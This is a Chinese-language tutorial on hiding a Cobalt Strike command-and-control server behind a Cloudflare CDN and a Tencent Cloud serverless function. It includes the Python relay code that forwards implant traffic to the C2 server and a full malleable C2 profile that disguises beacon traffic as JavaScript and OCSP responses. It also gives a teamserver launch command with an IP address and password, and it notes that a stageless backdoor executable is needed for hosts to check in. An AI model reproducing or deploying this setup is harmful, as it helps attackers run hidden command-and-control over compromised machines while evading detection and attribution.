1.CDN隐匿技术
1.1.注册域名
配置CDN前提条件:需要自己有一个域名
注册域名不推荐在国内进行注册,因为国内需要进行实名备案
推荐注册地址:https://www.namesilo.com/

注册成功后去cloudflare绑定CDN
1.2.绑定CDN
免费CDN地址:https://dash.cloudflare.com/
注册完成后点击添加站点,将刚刚购买的域名进行添加

选择免费的,然后下一步继续即可

绑定之后需要在DNS地方将NS的值复制到域名注册地址处

将Nameserver的值更改为cloudflare的值

更改完成后需要在cloudflare上更改A记录

此时CDN已经配置完成,在站长之家上使用全球ping进行检测

也可使用CDN在线检测进行检查
在线检测网站:https://myssl.com/

1.3.CS进行CDN配置隐匿真实IP
CS设置监听

生成后门,需要选择无阶段的exe文件才可以上线,否则无法上线

此时成功上线,并且IP也变成了CDN地址

2.云函数进行隐匿
https://www.cnblogs.com/PatrickStar88888888/articles/16908221.html
2.1.创建云函数
登录腾讯云-云产品-云函数-函数服务-新建

2.2.创建函数服务
选择从头开始->函数类型选择事件函数->函数名称任意->运行环境选择python3.6->并复制如下代码将代码中的C2服务器修改为自己C2服务器ip->点击完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://XXXX' # 修改为自己C2服务器地址
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
|

2.3.创建触发器
触发方式选择API网关触发->启用集成响应(集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持)->点击提交

2.4.配置触发器
点击API服务名对触发器进行配置

更改路径后点击立即完成

选择发布服务

2.5.配置CS的服务端
新建一个profile文件,内容如下,将文件放在CS根目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
|
1
|
启动服务器:./teamserver 124.220.229.186 123123 yun.profile
|
CS创建监听器
本地客户端连接,创建监听,第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听

此时测试下能否正常上线

命令执行成功
